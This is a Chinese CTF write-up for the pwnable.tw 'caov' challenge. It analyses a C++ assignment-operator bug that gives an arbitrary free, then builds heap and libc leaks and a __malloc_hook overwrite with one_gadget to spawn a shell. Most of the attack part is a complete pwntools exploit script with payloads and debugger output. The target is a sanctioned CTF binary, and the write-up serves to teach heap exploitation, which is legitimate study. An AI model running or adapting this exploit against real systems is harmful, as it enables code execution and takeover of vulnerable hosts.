一道很难的pwn题,考的是C++的析构漏洞,光溢出点就非常难找,泄露也要精心构造heap才行,靶机环境是glibc-2.23。
原题地址:https://pwnable.tw/challenge/ 。
源程序和相关文件下载:https://github.com/Ex-Origin/ctf-writeups/tree/master/pwnable_tw/caov 。
溢出点
class Data
{
...
Data operator=(const Data &rhs)
{
key = new char[strlen(rhs.key)+1];
strcpy(key, rhs.key);
value = rhs.value;
change_count = rhs.change_count;
year = rhs.year;
month = rhs.month;
day = rhs.day;
hour = rhs.hour;
min = rhs.min;
sec = rhs.sec;
}
...
};
在Data Data::operator=
函数中,原本Data::operator=
是不需要返回值的,但是这里强行加上了返回值,这就导致该函数要返回一个完整的class Data
,而class Data
大小为0x30
,所以编译器最终决定传入一个栈指针,这里原本并没有错。
让我们来看看IDA的反汇编代码:
void __cdecl edit()
{
__int64 v0; // rax
__int64 v1; // rax
Data old; // [rsp+0h] [rbp-80h]
Data v3; // [rsp+30h] [rbp-50h]
unsigned __int64 v4; // [rsp+68h] [rbp-18h]
v4 = __readfsqword(0x28u);
Data::Data(&old);
Data::operator=(&v3, &old, D);
Data::~Data(&v3);
Data::edit_data(D);
v0 = std::operator<<<std::char_traits<char>>(&std::cout, "\nYour data info before editing:");
std::ostream::operator<<(v0, &std::endl<char,std::char_traits<char>>);
Data::info(&old);
v1 = std::operator<<<std::char_traits<char>>(&std::cout, "\nYour data info after editing:");
std::ostream::operator<<(v1, &std::endl<char,std::char_traits<char>>);
Data::info(D);
Data::~Data(&old);
}
由于编译器认为返回的class Data
应该会在Data::operator=
中运行构造函数,但是并没有,在看看Data::operator=
函数,发现其并没有为返回值运行任何构造函数。
Data *__cdecl Data::operator=(Data *retstr, Data *const this, const Data *rhs)
{
const Data *v3; // ST08_8
size_t v4; // rax
v3 = rhs;
v4 = strlen(rhs->key);
this->key = (char *)operator new[](v4 + 1);
strcpy(this->key, v3->key);
this->value = v3->value;
this->change_count = v3->change_count;
this->year = v3->year;
this->month = v3->month;
this->day = v3->day;
this->hour = v3->hour;
this->min = v3->min;
this->sec = v3->sec;
return retstr;
}
所以我们会得到一个未初始化,而且可能被污染的class Data
(应为其在栈上)。而且其会立马调用析构函数就行销毁。
其析构函数如下:
~Data()
{
delete[] key;
key = nullptr;
value = 0;
change_count = 0;
init_time();
}
综上所述,我们可以free任意地址
。
思路
这里我建议看了溢出点之后尽量自己根据溢出点写一遍,总是依赖别人而不去独立思考,这样自己将永远无法得到提高。
简单来说就是利用fastbin的单链表规则来泄露指针,得到heap
地址,劫持Data *D
这个chunk,然后泄露got
地址,再劫持hook拿shell。
这里我们可以利用set_name
函数来污染栈,设置我们想要的值。
void set_name()
{
char tmp[160]={};
char c;
cout << "Enter your name: ";
int cnt = 0;
while(1)
{
int len = read(0, &c, 1);
if(len != 1)
{
cout << "Read error" << endl;
exit(-1);
}
tmp[cnt++] = c;
if(c == '\n' || cnt == 150)
{
tmp[cnt-1] = '\0';
break;
}
}
memcpy(name, tmp, cnt);
}
First: 先泄露heap地址。
程序中基本上所以地方都有null截断
,想直接泄露信息是基本上不可能的,但是我们可以通过UAF
来进行泄露heap地址信息。
name_addr = 0x6032C0
# name_addr = elf.symbols['name']
sh.sendlineafter('Enter your name: ', 'aa')
sh.sendlineafter('Please input a key: ', '\0' + 'b' * 0x36)
sh.sendlineafter('Please input a value: ', '1')
Edit(p64(0) + p64(0x21) + p64(0) + p64(0) + p64(0) + p64(0x21) + 'a' * 0x30 + p64(name_addr + 0x10), 0x17, 'a' + 'a' * 0x16)
Edit(p64(0) + p64(0x41) + p64(0) * 7 + p64(0x21) + 'c' * 0x10 + p64(name_addr + 0x10), 0, None)
sh.recvuntil('Your data info after editing:\nKey: ')
result = sh.recvline()[:-1]
heap_addr = u64(result.ljust(8, '\0'))
log.success('heap_addr: ' + hex(heap_addr))
原理是修改Data *D
的key,使其指向全局变量name
,在free
掉name
,则其会泄露同fastbin链上的chunk信息。
其调试结果如下:
pwndbg> p *D
$1 = {
key = 0x6032d0 <name+16> "\220,*\001",
value = 1,
change_count = 1,
year = 2019,
month = 7,
day = 22,
hour = 19,
min = 18,
sec = 3
}
pwndbg> bin
fastbins
0x20: 0x12a2db0 ◂— 0x0
0x30: 0x0
0x40: 0x6032c0 (name) —▸ 0x12a2c90 ◂— 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x12a2dd0 —▸ 0x7f52877b0b78 (main_arena+88) ◂— 0x12a2dd0
smallbins
empty
largebins
empty
Second:
当我们泄露出heap地址信息是,就可以通过该信息计算出Data *D
指向的地址,从而劫持这个chunk,然后更改key
的值为got地址
,从而泄露got
地址以获得libc信息。
D_chunk_addr = heap_addr + 0x40
# pause()
Edit(p64(0) + p64(0x41) + p64(D_chunk_addr) + p64(0) * 6 + p64(0x21) + 'c' * 0x10 + p64(0) , 0x37, '\0')
# pause()
Edit(p64(0) + p64(0x41) + p64(D_chunk_addr) + p64(0) * 6 + p64(0x21) + 'c' * 0x10 + p64(0) , 0x37, p64(elf.got['setvbuf']))
sh.recvuntil('Your data info after editing:\nKey: ')
result = sh.recvline()[:-1]
libc_addr = u64(result.ljust(8, '\0')) - libc.symbols['setvbuf']
log.success('libc_addr: ' + hex(libc_addr))
main_arena_addr = libc_addr + libc.symbols['__malloc_hook'] + 0x10
log.success('main_arena_addr: ' + hex(main_arena_addr))
Third: 劫持hook,由于过程比较简单,我就不细说了。
Edit(p64(0) + p64(0x71) + 'x' * 0x50 + p64(name_addr + 0x10) + p64(0) + p64(0) + p64(21) , 0, None)
Edit(p64(0) + p64(0x71) + p64(main_arena_addr - 0x33) + 'x' * 0x48 + p64(0) + p64(0) + p64(0) + p64(21) , 0x67, '\0')
'''
0x45216 execve("/bin/sh", rsp+0x30, environ)
constraints:
rax == NULL
0x4526a execve("/bin/sh", rsp+0x30, environ)
constraints:
[rsp+0x30] == NULL
0xef6c4 execve("/bin/sh", rsp+0x50, environ)
constraints:
[rsp+0x50] == NULL
0xf0567 execve("/bin/sh", rsp+0x70, environ)
constraints:
[rsp+0x70] == NULL
'''
# pause()
Edit('\0' * 150 , 0x67, 'z' * 0xb + p64(libc_addr + 0xef9f4) + p64(libc_addr +0xef6c4))
这里我特别强调一下最后一次set_name
时,最好把栈全部刷新成\0
,以提高one_gadget
的成功几率。
脚本
#!/usr/bin/python2
# -*- coding:utf-8 -*-
from pwn import *
import os
import struct
import random
import time
import sys
import signal
salt = os.getenv('GDB_SALT') if (os.getenv('GDB_SALT')) else ''
def clear(signum=None, stack=None):
print('Strip all debugging information')
os.system('rm -f /tmp/gdb_symbols{}* /tmp/gdb_pid{}* /tmp/gdb_script{}*'.replace('{}', salt))
exit(0)
for sig in [signal.SIGINT, signal.SIGHUP, signal.SIGTERM]:
signal.signal(sig, clear)
# Create a symbol file for GDB debugging
try:
gdb_symbols = '''
'''
f = open('/tmp/gdb_symbols{}.c'.replace('{}', salt), 'w')
f.write(gdb_symbols)
f.close()
# os.system('gcc -g -shared /tmp/gdb_symbols{}.c -o /tmp/gdb_symbols{}.so '.replace('{}', salt))
# os.system('gcc -g -m32 -shared /tmp/gdb_symbols{}.c -o /tmp/gdb_symbols{}.so'.replace('{}', salt))
except Exception as e:
print(e)
context.arch = 'amd64'
# context.arch = 'i386'
# context.log_level = 'debug'
execve_file = './caov'
# sh = process(execve_file, env={'LD_PRELOAD': '/tmp/gdb_symbols{}.so'.replace('{}', salt)})
sh = process(execve_file)
# sh = remote('chall.pwnable.tw', 10306)
elf = ELF(execve_file)
libc = ELF('./libc-2.23.so')
# Create temporary files for GDB debugging
try:
gdbscript = '''
'''
f = open('/tmp/gdb_pid{}'.replace('{}', salt), 'w')
f.write(str(proc.pidof(sh)[0]))
f.close()
f = open('/tmp/gdb_script{}'.replace('{}', salt), 'w')
f.write(gdbscript)
f.close()
except Exception as e:
print(e)
def Edit(name, length, key):
sh.sendlineafter('Your choice: ', '2')
sh.sendlineafter('Enter your name: ', name)
sh.sendlineafter('New key length: ', str(length))
if(key):
sh.sendlineafter('Key: ', key)
sh.sendlineafter('Value: ', '1')
name_addr = 0x6032C0
sh.sendlineafter('Enter your name: ', 'aa')
sh.sendlineafter('Please input a key: ', '\0' + 'b' * 0x36)
sh.sendlineafter('Please input a value: ', '1')
Edit(p64(0) + p64(0x21) + p64(0) + p64(0) + p64(0) + p64(0x21) + 'a' * 0x30 + p64(name_addr + 0x10), 0x17, 'a' + 'a' * 0x16)
Edit(p64(0) + p64(0x41) + p64(0) * 7 + p64(0x21) + 'c' * 0x10 + p64(name_addr + 0x10), 0, None)
sh.recvuntil('Your data info after editing:\nKey: ')
result = sh.recvline()[:-1]
heap_addr = u64(result.ljust(8, '\0'))
log.success('heap_addr: ' + hex(heap_addr))
D_chunk_addr = heap_addr + 0x40
# pause()
Edit(p64(0) + p64(0x41) + p64(D_chunk_addr) + p64(0) * 6 + p64(0x21) + 'c' * 0x10 + p64(0) , 0x37, '\0')
# pause()
Edit(p64(0) + p64(0x41) + p64(D_chunk_addr) + p64(0) * 6 + p64(0x21) + 'c' * 0x10 + p64(0) , 0x37, p64(elf.got['setvbuf']))
sh.recvuntil('Your data info after editing:\nKey: ')
result = sh.recvline()[:-1]
libc_addr = u64(result.ljust(8, '\0')) - libc.symbols['setvbuf']
log.success('libc_addr: ' + hex(libc_addr))
main_arena_addr = libc_addr + libc.symbols['__malloc_hook'] + 0x10
log.success('main_arena_addr: ' + hex(main_arena_addr))
Edit(p64(0) + p64(0x71) + 'x' * 0x50 + p64(name_addr + 0x10) + p64(0) + p64(0) + p64(21) , 0, None)
Edit(p64(0) + p64(0x71) + p64(main_arena_addr - 0x33) + 'x' * 0x48 + p64(0) + p64(0) + p64(0) + p64(21) , 0x67, '\0')
'''
0x45216 execve("/bin/sh", rsp+0x30, environ)
constraints:
rax == NULL
0x4526a execve("/bin/sh", rsp+0x30, environ)
constraints:
[rsp+0x30] == NULL
0xef6c4 execve("/bin/sh", rsp+0x50, environ)
constraints:
[rsp+0x50] == NULL
0xf0567 execve("/bin/sh", rsp+0x70, environ)
constraints:
[rsp+0x70] == NULL
'''
# pause()
Edit('\0' * 150 , 0x67, 'z' * 0xb + p64(libc_addr + 0xef9f4) + p64(libc_addr + 0xef6c4))
sh.interactive()
clear()